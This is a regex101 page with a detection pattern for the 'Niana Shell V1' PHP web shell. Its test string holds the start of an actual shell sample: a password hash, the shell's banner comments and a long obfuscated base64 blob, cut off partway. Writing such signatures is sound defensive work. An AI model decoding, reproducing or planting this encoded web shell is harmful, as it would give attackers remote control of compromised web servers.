Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gis

Test String

Code Generator

Generated Code

$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*.{0,90}?\/\/default\s*password\s*:\s*byyniana[\s*\#]+\/\/niana\s*shell\s*v\d[\s*:\)\/\w]+shell\s*hasil\s*recoded.{0,110}?(\$\w+)\s*=\s*[\'"\w\+\/=]+;\s*eval\(str_rot13\(gzinflate\(\w+\(\w+\(\(\1[[:punct:]\s]+$/is'; $str = '<?php $s57_paswot = "f2d5d49aa06d9968361761b75f0b7bd6";//default password : byyniana ############################################################################################# //Niana Shell V1 :) //Heheh Shell Hasil Recoded :v ############################################################################################# $niana = "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